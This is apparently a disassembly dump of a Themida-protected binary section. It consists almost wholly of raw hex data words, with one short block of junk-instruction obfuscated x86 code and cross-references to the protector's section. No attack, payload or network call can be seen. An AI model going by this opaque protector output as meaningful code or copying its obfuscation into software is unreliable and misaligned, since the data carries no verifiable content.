		dd 0ABB00DD9h, 648D0E0h, 0D0E0ABA1h, 98A10648h,	0E19C9F35h
		dd 5031859Eh, 60D0A106h, 0ABF6127Fh, 533E9F4Fh,	0FC9528D8h
		dd 0BA03151Ah, 4EC531D7h, 5E67576h, 8FAFBE4Eh, 84F4F32Ch
		dd 12E25435h, 0B340AB1Bh, 0B601602Eh, 19E89B4h,	0F9BDDDC6h
		dd 80DA9012h, 434E70h, 7AB3DE00h, 0FC557378h, 0CF0669FBh
		dd 62000001h, 0D14F1079h, 60E0A3EEh, 0CE4A157Ch, 54E49FEAh
		dd 2A3C078Ah, 0B4DD010Eh, 3C4D6D6Bh, 0A5E4F503h, 127F5EDAh
		dd 0A46FD051h, 9AB8608Ch, 2277C754h, 8E8AD5BCh,	8521622Fh
		dd 5CCF373Eh, 0BE541C8Fh, 8D9BA6AFh, 73D9C0Ch, 7E8AD7B2h
		dd 7A0FA933h, 0CAF7636Eh, 0A74EE3C2h, 48838B01h, 9BA880D6h
		dd 0C8D2h, 0BB228C00h, 47B932D6h, 0C5081C75h, 72E4A533h
		dd 0AB395866h, 731EBE6Ah, 0E7D24A55h, 0DF3B86A2h, 6BEA4F2h
		dd 0E8A934A1h, 7D14A937h, 5C822E67h, 7B7E8F35h,	9B644704h
		dd 0B545B16Ch, 53C546BEh, 7316C28Ah, 23171AAEh,	25B365C2h
		dd 997DC064h, 0BEFA3B30h, 0C97AC5AFh, 8BFEDA46h, 0ECD45BAFh
		dd 195070FBh, 7018B602h, 0BFC4148h, 0B74D3C9Dh,	0B3658274h
		dd 1B1D662Bh, 9F9FCEC3h, 34FC54DFh, 0E4CD70h, 64770000h
		dd 1DE5A25h, 6B51CF90h,	0FDDB5D26h, 7945D38Ch, 0F5476718h
		dd 7CC7CA14h, 0F82B5E7Ch, 87B8D1E8h, 0F22D6479h, 0B9F784E7h
		dd 819AB85Fh, 8E31421Ch, 6B7AB05h, 0EE4873A1h, 6AB5DC02h
		dd 1424F6Eh, 0A0BB2265h, 6B7BDD3h, 73A85A1h, 4D4499E1h
		dd 962B2212h, 70BB4948h, 84B13AADh, 1DAFB468h, 59FF17Ah
		dd 6467A755h, 49DFE2F2h, 0AA751CC1h, 0E6028F2Eh, 377902A5h
		dd 0FFA75506h, 0F12C6577h, 6236DF6h, 0E0EBA755h, 4904D76h
		dd 0D3410D18h, 0FE932A4Bh, 8956C245h, 1BC22E08h, 723A7576h
		dd 6F86CE7Ch, 164B3E9Bh, 0B967A024h, 575A6E23h,	0A4E5F3E3h
		dd 0A1165980h, 8B1FC8E7h, 0D9110574h, 3C55680Dh, 49940403h
		dd 8571BC48h, 0F70D8459h, 3E52217Eh, 6069000h, 3745FBBh
		dd 4A000000h, 0B9226DB9h, 19A434D0h, 0BD1C6C78h, 0AB038CCh
		dd 0BD21697Fh, 16A830D4h, 0BB1D6D7Bh, 0AB23ACEh, 0C6196187h
		dd 52D93DCBh, 0B850E289h, 81337D4h, 1E034335h, 35D0F736h
		dd 27750A54h, 3503E8C1h, 1CD0F823h, 8358C201h, 148704EAh
		dd 52685C24h, 8900006Ah, 8952240Ch, 4C281E2h, 81000000h
		dd 4EAh, 24148700h, 242C895Ch, 4E4F3A68h, 240C8B06h, 4C481h
		dd 8B540000h, 0C481242Ch, 4, 8BF5750h, 89000000h, 0E8015FF8h
		dd 0FF580889h, 835D2434h, 34FF04C4h, 0C4835924h, 0ED02E904h
		dd 8317FFFAh, 723902E1h, 0B4B872B5h, 3064E59h, 0A0E0FFC5h
		dd 0AB03C1ACh, 381A3EB2h, 0DA5BF162h
		db 3Bh,	96h, 49h
byte_5A27C3	db 8Dh			; DATA XREF: Themida_:0053CE84o
		dd 4E5B1D8Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 0E1BD89E5h, 8906481Eh, 480A198Dh
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 3585C7FBh, 6406480Fh, 6A000059h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 0B391C352h, 850927EEh, 64804BDh, 1158589h, 85C70648h
		dd 6482425h, 0
		dd 0FBD8589h, 0B5FF0648h, 64826E5h, 95FFD88Bh, 64820BDh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 4BC35343h
		dd 0CB8BBC17h, 0F28090F1h, 0FF006A54h, 48306195h, 0EBC08B06h
		dd 0A65F285Eh, 0C8ED8D9Fh, 0D5C55174h, 975B86E7h, 119474DDh
		dd 41CDF0DCh, 0ABF6A0E6h, 0F13E1106h, 33E936Dh,	0A73228C9h
		dd 9A254204h, 1C8BAF8Ah, 1633E7B8h, 0AEA823A3h,	834C277h
		dd 91805CCBh, 8A017042h, 15D12264h, 0DD455311h,	0BDFF13EAh
		dd 7954D520h, 9041CF25h, 81207C2h, 0E875E4E9h, 7, 5F16F73Bh
		dd 89CCF484h, 481F598Dh, 9D295E06h, 64810CDh, 5F3BC681h
		dd 66600000h, 8B8443BEh, 481A5995h, 0FF336106h,	239858Bh
		dd 1C8B0648h, 0D1C3813Eh, 8B1FDC87h, 481EE18Dh,	68EB8106h
		dd 66205064h, 814696BAh, 1EB4C5C3h, 1D858B0Eh, 53064820h
		dd 3E048FF8h, 0E95AF856h, 6, 0D48F01EFh, 0EF8376E5h, 14E804h
		dd 0E470000h, 0C576C0FAh, 80629C74h, 74549A67h,	0E496CC4Dh
		dd 0BD31F858h, 6480D31h, 5CFF815Ah, 0FFFFFA1h, 0FFFF9985h
		dd 0BD858BFFh, 0E806480Dh, 0Ah,	43FD1972h, 838803EFh, 0BB6655E0h
		dd 2B58C6C6h, 480F958Dh, 5FC08106h, 80000067h, 0B468CECBh
		dd 89000019h, 481F298Dh, 85895E06h, 64825DDh, 0BD89108Bh
		dd 6482465h, 8A07F281h,	8531532Ch, 6481CBDh, 0B25CF281h
		dd 9D8944B1h, 6481CA9h,	31FCF281h, 80600438h, 61FCE8C0h
		dd 0FA8B1089h, 0E904E883h, 0Bh,	6547DCEEh, 5D102BD6h, 81524EF6h
		dd 1EEh, 0B1850F00h, 0E9FFFFFFh, 0Fh, 0BEE8F3Bh, 0DE35381Ch
		dd 0BBA5CB8Fh, 0EB539721h, 8, 0E7800000h, 4ABE943h, 0EF680000h
		dd 0E9064E5Dh, 0FFFA208Bh, 4E5E6B68h, 2081E906h, 0B868FFFAh
		dd 0E9064E5Fh, 0FFFA2077h, 0D47CC89Ch, 0D67ECA83h, 0D57FCB85h
		dd 0D67ECA84h, 0D67ECA85h, 0E5FA7F47h, 0EBFE9F99h, 0EFE4B59Fh
		dd 0F2E8B9A3h, 62AAEA6h, 150F74EAh, 111DB856h, 6D7E5586h
		dd 0C6B2ED61h, 49E03F4Fh, 0F52C29FEh, 6EE062Ah,	8D42131Fh
		dd 0FEFA2341h, 518EFC4Bh, 9CBB848Eh, 7BC27AC6h,	0B995B3C9h
		dd 498EB7E6h, 565EE948h, 560EB85Ch, 0AFFF4D05h,	5A4BADC9h
		dd 3669E24Bh, 4500D23h,	43FE63Bh, 2CD72E44h, 6CE22111h
		dd 5B3A0E57h, 2DF2Ch, 0BF4FC200h, 49F70D2Fh, 418D4475h
		dd 5B172306h, 498E9594h, 0A2BE3FE2h, 0B8EBFC61h, 0E6829AAAh
		dd 0BBE0710Ah, 0D68ABB44h, 0C168C18Ah, 0E3FDDE86h, 84B47B97h
		dd 3EFCD06Ch, 6E46F3F8h, 0CA84B593h, 0D25CC57Eh, 0A3B9B18Ah
		dd 9CC861ADh, 0BD59A5BBh, 0DDF1CD99h, 4AF40869h, 8DCA64CBh
		dd 9AABBFD5h, 0F408E0D6h, 54AD544Ah, 0BD8D76CBh, 89DEBB18h
		dd 0EE747DEh, 893793A8h, 2F57FDEh, 0C2920000h, 0C09DBE76h
		dd 0C59BBC74h, 0C89EBF79h, 0CC83D47Ch, 8149D880h, 9D97E3FCh
		dd 9F99E5FCh, 0B7A1EDFEh, 0B0A8F4E6h, 7AEC002Ch, 0BA561510h
		dd 5586171Bh, 10F9327Eh, 0FB113306h, 25716C4Dh,	7F7D5109h
		dd 0AD4988EEh, 0AC5F652h, 9893DFF4h, 0BFE058B1h, 9F005CA8h
		dd 87000D02h, 29058591h, 1D631D03h, 77152A04h, 0B6883D42h
		dd 0C297ADA5h, 8C7F8F76h, 0E7350F6Eh, 279D93Ch,	46160000h
		dd 442142FAh, 491F40F8h, 4C0253FDh, 50075800h, 5CD4C04h
		dd 211B6780h, 331D6980h, 2B257162h, 42C786Ah, 0E804C90h
		dd 1E561511h, 0E95B7BC7h, 0B34C420Eh, 41E04FC6h, 8C607CE8h
		dd 4FC6B31Ah, 3F1BF71Ah, 88EEB12Bh, 87C05F49h, 150F75EDh
		dd 0ABF7EC56h, 9FEBFFA0h, 9F769CA4h, 0AA6949F4h, 568E93Ah
		dd 4C054C66h, 5F0F94C2h, 90A95B3Fh, 0A2838FDBh,	16Ch, 1D69813Ch
		dd 115D7522h, 0D8F05027h, 9213606Ch, 0C469498Eh, 39DC0DDEh
		dd 21CE39B0h, 291F1F41h, 1F3D061Fh, 0EA98B4FEh,	0C59CA7F3h
		dd 4ABC4A5Ah, 4A0E84F0h, 7B53560Fh, 8F43F42Fh, 84570843h
		dd 0FB1AEF38h, 88B560A3h, 0EAF56BAAh, 995B39A8h, 2Fh, 0D3E95B2Dh
		dd 9E825975h, 45EC498Eh, 0DEF872FAh, 476F560Eh,	2C401C8Ch
		dd 560EDF3Ah, 37F03C2Fh, 39D53CD2h, 3941881Bh, 90FB5Bh
		dd 81930000h, 22945869h, 474FC6B3h, 40DF4793h, 26415EE9h
		dd 3C2E51DAh, 520837F0h, 86224E06h, 0EB4FC6B6h,	0BE0AE1F7h
		dd 0B686ED67h, 4DAEC29Eh, 0FF498C24h, 3F184420h, 0EF3B152Bh
		dd 0DA340D16h, 1E16627Dh, 0F816627Dh, 0CAF4C813h, 2C58BD66h
		dd 0C9000001h, 0CC8DC713h, 0CA8BC511h, 0D192CA16h, 0CE8FC915h
		dd 0F463CD19h, 428E49CEh, 4490491Ah, 4C984B0Ch,	539FB3E4h
		dd 0A5A9F5E9h, 561512B1h, 815E6083h, 849A5066h,	7FA67FCBh
		dd 82CE84D5h, 698170DAh, 617A221Dh, 2D797086h, 45F60FF2h
		dd 1D043F8Bh, 428E4411h, 5E724E1Ah, 4FC6B2E8h, 0E649E54Ch
		dd 39223E56h, 1E46D01Ch, 8EF9FC52h, 0D8CF3049h,	19EBD6BCh
		dd 30FB4721h, 6BD930D9h, 0F49954Ah, 24706253h, 0EBE8620Ah
		dd 6179560Eh, 657A1B15h, 942F0E19h, 0E3000000h,	420EE95Bh
		dd 4FC6B34Ch, 7CE841E0h, 88EE7870h, 0DB89A849h,	7B97E3FAh
		dd 71BD95C2h, 78C496C7h, 0A5A995AFh, 56150FB1h,	0DA929C83h
		dd 10BDAFD3h, 950AC91Fh, 96C771BDh, 0F0CC78C4h,	0AE706ADCh
		dd 9CE8FF93h, 0C968BEA3h, 0AFA7D86Dh, 0FFD40563h, 0AE9178B3h
		dd 9AA36FBBh, 0A0B9A2EEh, 9C76CB54h, 0F8EA5FB6h, 0FFD384ACh
		dd 0AEA495B3h, 0D56FD862h, 65A167ACh, 1A9AEF9Ch, 229118C1h
		dd 7F9E7891h, 0Fh, 14D0831h, 0F13D1946h, 0E03AD336h, 81176366h
		dd 73241F6Bh, 6718135Fh, 801F2874h, 75221D69h, 62150E5Ah
		dd 7926216Dh, 6916115Dh, 7728236Fh, 7419125Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	1290h
		mov	[esp], eax
		push	3F41h
		mov	[esp], edi
		push	esi
		mov	esi, 366C39BCh
		mov	eax, 3CBA96A1h
		sub	eax, esi
		mov	esi, [esp]
		add	esp, 4
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	edx
		mov	edx, 8
		add	edx, edi
		push	eax
		pop	dword ptr [edx]
		pop	edx
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_544ACB
; ---------------------------------------------------------------------------
		dw 0D0DEh
		dd 3C77D8E0h, 6109B838h, 0C503064Eh, 5D55E0FFh,	2E365A33h
		dd 83984D0Bh, 6465272Bh, 0C981477Ch, 6B7756CFh,	13F7C86h
		dd 0DD4B71C4h, 9EA42CE7h, 81243619h, 193C1116h,	3A577CE5h
		dd 419F5AB1h, 2B4489Ah,	8D8D33A0h, 64E6270h, 0C8F0BF56h
		dd 895E1F83h, 480A198Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 81667A0Dh, 0C7DE4ADEh
		dd 480F3585h, 645806h, 2585C700h, 64824h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 0D719C351h, 950952E0h, 64821B9h, 0F5B5FF58h,	6A064825h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 0EF69C357h, 0ED5B6489h, 998D3360h, 8B06481Dh
		dd 481DB59Dh, 0BD896106h, 648226Dh, 20BD95FFh, 0BD030648h
		dd 6482B4Dh, 95FF006Ah,	6483061h, 78EBC08Bh, 0DB6817D7h
		dd 72B4DB16h, 0B09ED5E2h, 0A2848D94h, 3138EC0h,	14F8A24Ch
		dd 7BCAE13Bh, 7B0DAC17h, 1E4E0A60h, 0AC5A3765h,	0E251FB46h
		dd 4883F072h, 0B3A0C9EBh, 0F1FEFCFh, 360899D5h,	68D26195h
		dd 4D1A3CCh, 0F27D6044h, 48722AE0h, 8CDE20E0h, 84E8CD6h
		dd 594DDB55h, 881F927Fh, 6A31BF9Fh, 7A279F80h, 0D58BF6C0h
		dd 57188A0Dh, 0CB46FC4Bh, 0FBACA562h, 5DCDD457h, 63F18D8Dh
		dd 6A064Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 21B806C3h, 0BF663AF6h, 8D0FF9C3h,	12h, 0DE9h
		dd 93D69D00h, 6B69A79h,	3F72CB36h, 8D89B45Ch, 6480A19h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0E9C35141h
		dd 8DB5AFD4h, 8529FD9Bh, 6482255h, 0F3585C7h, 64300648h
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 8536F8C3h, 5E9F38Ah, 17000000h, 6F0E227Bh
		dd 28E2BF66h, 242585C7h, 648h, 0BF0F0000h, 0E1B5FFDFh
		dd 6A064829h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 3CADC355h, 1AD78166h, 0BD95FFA6h
		dd 0E9064820h, 14h, 8AF35E6Fh, 852E070Eh, 3FC9C013h, 4A57C16Dh
		dd 843C03C3h, 0FF006AF5h, 48306195h, 0EBC08B06h, 0DDC30C4Ah
		dd 11EE3548h, 5BD03FD6h, 0A6730C9h, 5A02C8DBh, 0D9EF3989h
		dd 790CA99Bh, 0D4D6A4ADh, 1821C272h, 0B6E04E34h, 9F0C074Ch
		dd 78A008D3h, 3F6C3AD0h, 0B997D716h, 0BC5C72Eh,	0CACB6EADh
		dd 5E4B90Dh, 68633CF0h,	0E86A1DF7h, 9, 4F7192B1h, 0F05386AFh
		dd 0F59D8B5Ah, 5F064806h, 0FC08166h, 56C7811Bh,	8900005Dh
		dd 482E29B5h, 172D6806h, 0C9810000h, 7168D794h,	3AEB815Ah
		dd 8B3CCFECh, 0BB665737h, 81584E98h, 577953EEh,	91858B43h
		dd 81064829h, 0FD6537F6h, 830F601Ah, 1,	3D958BF9h, 61064806h
		dd 1668C681h, 10E9645Fh, 0CE000000h, 847790BCh,	3D44BFCCh
		dd 0E271CFD5h, 897C7D52h, 831FB337h, 14E904EFh,	0D9000000h
		dd 7BE11A6Bh, 7A298084h, 32927872h, 0CE9973B9h,	83A659E2h
		dd 850F01EAh, 0FFFFFF93h, 29ED8503h, 10E80648h,	95000000h
		dd 4854FEA4h, 85B8DA02h, 0F07D7EBDh, 0B6A67EC4h, 0BB665F47h
		dd 0C7819DA7h, 5B2Eh, 0C93373B4h, 34FF78B2h, 0D1958939h
		dd 5E064809h, 1D85858Bh, 0F6810648h, 16F606BDh,	5B1958Bh
		dd 0C6810648h, 0A606131h, 68A0F56h, 89000000h, 48193D95h
		dd 0F6815806h, 7DC8B498h, 8B0F3489h, 482C919Dh,	6850F06h
		dd 8B000000h, 48058185h, 2E98306h, 820F51h, 5A000000h
		dd 0BA664949h, 0F981242Ah, 0FFFFA580h, 13850Fh,	7CB00000h
		dd 20E9h, 1AB6700h, 43D38833h, 0AC528BE5h, 0E901B67Eh
		dd 0FFFFFF7Eh, 4B8B3C58h, 2F62A5A0h, 0DC20EE42h, 498D8D71h
		dd 0F064E66h, 86h, 198D8900h, 6606480Ah, 0C75D2AB8h, 480F3585h
		dd 582006h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 0E480E9FCh, 820F5392h, 6,	2AC0C281h
		dd 315F106Bh, 4821AD85h, 79958B06h, 0C706480Dh,	48242585h
		dd 6, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 87F4FD10h, 43B88812h, 0B5FF4FF8h
		dd 64828C9h, 6ED88166h,	0BD95FF52h, 89064820h, 4829A5BDh
		dd 0FF006A06h, 48306195h, 0EBC08B06h, 414AED5Fh, 0EE801345h
		dd 42CCD9F6h, 8DF2989Dh, 91D2A022h, 0E860E99Ch,	70FA1E5Dh
		dd 34E42269h, 858A783Ah, 0EF2BE377h, 6F809A7Bh,	3A48DCC9h
		dd 18F4A034h, 0DF948A91h, 5F0A5340h, 866D22E8h,	0A8587421h
		dd 0C1B9D08Dh, 71F070EBh, 3C9D7EDDh, 3E6C0B1Eh,	3E7C8A6h
		dd 21A6D9C0h, 4731F214h, 22A904EBh, 5CE9751Ch, 0C9000005h
		dd 0CC8DC713h, 0CA8BC511h, 0D192CA16h, 0CE8FC915h, 0F463CD19h
		dd 428E49CEh, 4490491Ah, 4C984B0Ch, 539FB3E4h, 0A5A9F5E9h
		dd 561519B1h, 815E6083h, 75221D69h, 3E8A445Ah, 362C6DE7h
		dd 2C3E61EAh, 2CF74316h, 0F36367D5h, 414FC6B2h,	5BFC47DEh
		dd 4AED3682h, 5F004B97h, 52053E8Ah, 7DD53480h, 23799B46h
		dd 61776BE0h, 2E7A7086h, 2AF50CF5h, 5A062ED7h, 0F186481h
		dd 0B2E55975h, 0E8474FC6h, 7368F541h, 4A203927h, 35815DFEh
		dd 2F2475D9h, 1B3C68E3h, 3E1FFB47h, 2464DF2Bh, 7FD04758h
		dd 578557CEh, 0C93E95BBh, 0C19AC612h, 8EDA8EA4h, 0CA55AC95h
		dd 0E2B39B77h, 119BA4F0h, 4FC7809Ah, 178D486Eh,	54F1E28Ch
		dd 70F7h, 69818F00h, 0C5C2C71Bh, 1AF3B1F3h, 54118311h
		dd 0DBF94FC7h, 0B7AF88F8h, 55275769h, 0A47D727Dh, 0D69AC69Bh
		dd 4FC793E0h, 0F361AD54h, 54F1F5F0h, 193h, 64812B00h, 0F9D32C18h
		dd 27A2F7FCh, 90AF98A2h, 5FABBFD5h, 0F6DF7DC6h,	0E07D99E5h
		dd 9F71BA06h, 205D2A53h, 67B6675Bh, 0D94E85CBh,	0DC88B0FCh
		dd 531855C3h, 0CF6B276Bh, 0A890DC8Eh, 7B5586DEh, 5D72E32Fh
		dd 6C691611h, 63782720h, 0B9330C17h, 3F0FB75Ch,	0EA362C0Fh
		dd 7A592F61h, 2DE83ECFh, 0E9539FB8h, 0CD56A2B8h, 0FE6AB6AAh
		dd 5AB400DDh, 3B9AB8E5h, 0F127AAC5h, 7AD954h, 816D0000h
		dd 73111A66h, 0A65A700Ah, 0EABB64B0h, 0A5A1E8A6h, 115F119Fh
		dd 27411EF8h, 3A2F50DBh, 4E0235EEh, 4DD62238h, 0E120DF4h
		dd 0B2822DE8h, 4B04795Ch, 717D61FFh, 4FC7A6FDh,	1246D02Fh
		dd 14A9651h, 475D7263h,	2AFF4894h, 30263703h, 865F78E4h
		dd 0FE18F13Ah, 0DF361C49h, 0F2074669h, 523D54h,	86D10000h
		dd 0E32F7B55h, 16115D72h, 1D267269h, 69DE358Bh,	503A226Eh
		dd 0B4071D86h, 2FD8243Dh, 33FF3EFFh, 64DF2B22h,	34382438h
		dd 4FC6C742h, 4D410FF2h, 0DF4FC6C7h, 0BA9EBC3Eh, 68C176C1h
		dd 8FADA6CEh, 3B594FC7h, 0F15D62D8h, 12654F1h, 0C0000000h
		dd 101B6781h, 6A657B6Fh, 0E53C251Eh, 7D582E5Ah,	58045008h
		dd 1A667Fh, 495FE158h, 0BE1C4F1Bh, 0EF12498Eh, 392F0834h
		dd 0B7B4FEDh, 29560EC2h, 372B2C06h, 8D617DEBh, 560EC219h
		dd 361AF41Bh, 43216D65h, 0A069A2DAh, 1B702E72h,	3A2519DFh
		dd 0C023FC25h, 0A1EFBEAEh, 921A23EFh, 560F641Ah, 0CF30C58h
		dd 0DC7E0A13h
		db 7Eh,	0B4h
word_5A36C6	dw 679Eh		; DATA XREF: Themida_:0053D294o
		dd 0F3F7E3F7h, 560F2983h, 8C024EB1h, 0A0560F29h, 0B2A8B581h
		dd 0B5ADEE66h, 0A9C1DE69h, 0B2A7BD93h, 9D84DD66h, 4C7D884h
		dd 65DE0231h, 1EEB54DEh, 849D0DC8h, 1A476849h, 5F001AD7h
		dd 0F2853D8Bh, 0CA20C83h, 0A199A3F3h, 4DB437B4h, 312EB1E3h
		dd 0B68A5B39h, 0EC2A49Ah, 8DA98856h, 0EEA0h, 0E95B3600h
		dd 2B024E09h, 0B8F6313Dh, 928498Eh, 0FD49213Eh,	4500253h
		dd 0FA461C3Bh, 0E85E724Eh, 4C560EBCh, 0BD5A4C20h, 37DA560Eh
		dd 2EFB44CEh, 0D288FDD8h, 0F78CCE86h, 8C5B391Fh, 50h, 0CF055B22h
		dd 0B2B95D71h, 14FB4FC6h, 0B30D810Bh, 0D7FD4FC6h, 0C9738CFCh
		dd 0DFADC737h, 8ACE61ADh, 3CE2EE5Ah, 0AA4FC726h, 0A8C1D791h
		dd 0A77EE35Ch, 0B769C59Ch, 747DE058h, 2F000000h, 0D9999ECEh
		dd 0C76CA115h, 936C934Fh, 0CD9E3068h, 0B88EA881h, 75D3E95Bh
		dd 8EB8DE59h, 36F11049h, 4B055109h, 300C580Ah, 2A045007h
		dd 9D4E6715h, 0A773D651h, 0EBD16CBh, 0D1348A56h, 23A865Ch
		dd 55F3093Bh, 0D0DE7079h, 0E863BE4Fh, 79C59BBCh, 5EAAC09Dh
		dd 0F6CDA3E5h, 64D1E95Bh, 0A74262E5h, 717DEB42h, 498F8068h
		dd 68D27996h, 795979D0h, 5BDEA890h, 4975D3E9h, 0C6B31185h
		dd 327E584Fh, 81D935DCh, 88D4646Dh, 0E3B3CC49h,	6E3BE18Fh
		dd 2149DF3Bh, 1598594Dh, 0CD34DB56h, 0E12D2552h, 0E8342677h
		dd 0E17D555Fh, 0EAE442E3h, 5EA115D9h, 6C93C4E3h, 3CB58A95h
		dd 0F2723AE6h, 0CC18D172h, 0A45F3553h, 2C117F9h, 0DB89D58Dh
		dd 137BEBFFh, 56B9C4E3h, 0FC394BCh, 0FFD788C3h,	90A995B3h
		dd 0CEC08CD8h, 5EC4E313h, 0A2CE77C3h, 0BE9409CCh, 0BD64B0A8h
		dd 0C210C293h, 0DC9B4CBh, 2BF40D3Bh, 0ACAh, 9DB5A600h
		dd 0A773D651h, 8117639Dh, 73241F6Bh, 6718135Fh,	801F2874h
		dd 75221D69h, 62150E5Ah, 7926216Dh, 6916115Dh, 7728236Fh
		dd 7419125Eh, 53E28952h, 4BBh, 5BDA0100h, 8704EA83h, 565C2414h
		dd 0C681E689h, 4, 4EE81h, 34870000h, 34895C24h,	0E1895124h
		dd 4C181h, 0E9830000h, 240C8704h, 2404895Ch, 2448B951h
		dd 0C1811A3Eh, 269200D2h, 4106E9C1h, 3043E181h,	0BD5561A2h
		dd 196478B6h, 81DDF74Dh, 1F3DF4EDh, 0EEF58156h,	3197302Fh
		dd 0CE895DE9h, 48B5459h, 4C48324h, 89F38953h, 1C8B0858h
		dd 4C48324h, 582434FFh,	8B04C483h, 89572434h, 4C781E7h
		dd 81000000h, 4C7h, 243C8700h, 1151E95Ch, 0A207FFFAh, 9C8AA9F1h
		dd 0B80267B8h, 64E6B69h, 0E0FFC503h, 2A923382h,	5AC7B7C8h
		dd 61EB32A3h, 14746F2Dh, 4CB4E444h, 18192EABh, 137560Ch
		dd 6DE61EC3h, 6B2F7FDDh, 6E41F848h, 0CD92435h, 6D2D8D8Dh
		dd 6A064Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 0BE9F2C3h, 44000000h, 0ECBD939Ah,	0CB15D35Ah
		dd 8D89488Bh, 6480A19h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 97C35646h, 0C72B7EC3h, 480F3585h, 6ED806h
		dd 3D8D8900h, 0C7064821h, 48242585h, 6,	50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
		dd 0E960EBE0h, 5, 0AD67D933h, 0B5FF6112h, 6481E3Dh, 0BD95FFFCh
		dd 6A064820h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 8D06C353h, 5387EB6Eh, 0AE9h, 0B77F2400h
		dd 54503BC5h, 9BE598Ah,	4818CD8Dh, 0FF006A06h, 48306195h
dword_5A3A9C	dd 0EBC08B06h, 7AA1F23Bh, 35CBCBAh, 7A854FA7h, 8221CCA6h
					; DATA XREF: Themida_:0053EEACo
		dd 191F69C7h, 0BE8F8BE0h, 0E8EF42B6h, 721A8292h, 4E6179D8h
		dd 0B771EACBh, 0EDDA9997h, 5D69D55Fh, 1BF24695h, 54F1C7DAh
		dd 6931BC25h, 6E668D8Dh, 858B064Eh, 6482C19h, 820Fh, 8D890000h
		dd 6480A19h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	91C35545h, 5DF0CC27h, 66162516h, 85C7C18Bh, 6480F35h
		dd 6638h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	0ACC35646h, 52199199h, 3DBD0B42h, 0C706480Bh, 48242585h
		dd 6, 7497BE00h, 0B8BA3DD2h, 0FF30772Ah, 4827B5B5h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 9A12F958h, 10E89491h, 0D1000000h, 9D3384FCh,	0DB48D3DFh
		dd 6BC0E5B6h, 8B423373h, 4808A19Dh, 0FFF95E06h,	4820BD95h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 0D86E28F5h, 955BAC05h, 6AF5B4h, 306195FFh
		dd 0C08B0648h, 4552FEBh, 0DDD896F8h, 63A16D1Fh,	0A3B54DFFh
		dd 0DAE60B48h, 551F55A4h, 0D2643A98h, 65F30FADh, 1B12E08Ah
		dd 7076053Ah, 0EA24AA15h, 0F190454h, 0CE8AFh, 9F690000h
		dd 0BAD45E56h, 0AB7E4356h, 0EE99CCEh, 9B000000h, 0FD68B939h
		dd 7C2F3CDCh, 0B136FC1Bh, 95295E8Ch, 6480479h, 61C9C681h
		dd 0B70F0000h, 0B5C02BD8h, 6148B16h, 8F281F8h, 0F56F5FBh
		dd 286h, 81D88B00h, 0CCB4E5EAh,	9E843h,	0DCAB0000h, 0CE605F12h
		dd 6609254Bh, 815FC88Bh, 65EA22C2h, 0BF665225h,	48FD959h
		dd 0DF816606h, 0DE90BC7h, 58000000h, 5B4A5F5Ch,	1C926A5Bh
		dd 8A6A03F1h, 4803E883h, 1EF5B589h, 0F8810648h,	0FFFF9F1Ch
		dd 45850Fh, 5E80000h, 92000000h, 52DE4ECAh, 11E8h, 0F8A8FD00h
		dd 960F8AFAh, 0DF4726F5h, 0D107B5Dh, 12E80F97h,	0DD000000h
		dd 0C50400F2h, 0B53AABEAh, 9DBE44AAh, 71AF50FCh, 595959C2h
		dd 12E9h, 28C85100h, 8A1BEF4Bh,	0FF4FE9ECh, 0ABE2FFFFh
		dd 0E8ED8EF2h, 6, 0E35DD7ACh, 8501FF49h, 6480C85h, 0CE959h
		dd 27A60000h, 26FB7DCBh, 0DB50E87Dh, 0C1811B3Eh, 6B28h
		dd 22DDBD8Bh, 680648h, 0BB000000h, 284CCECAh, 0C98D8958h
		dd 0FF064814h, 14E80834h
		db 3 dup(0)
byte_5A3D3F	db 65h			; DATA XREF: Themida_:0053D288o
		dd 3F70009Eh, 0EE8F3B4Ah, 35381C0Bh, 0A5CB8FDEh, 0E89721BBh
		dd 0Ah,	0A87921C5h, 0ED976B14h,	8B66D9DAh, 5E5B5FD3h, 81D6B70Fh
		dd 4CCCCFF6h, 199D895Eh, 81064805h, 347630EEh, 25EA8155h
		dd 8104C948h, 6C844DF6h, 0C9B58908h, 5606480Dh,	0F8BF0F53h
		dd 1048F5Fh, 68B0Fh, 958B0000h,	64805A1h, 2051958Bh, 0E8830648h
		dd 4BE78104h, 81224578h, 0FF959CF8h, 78850FFFh,	0BFFFFFFFh
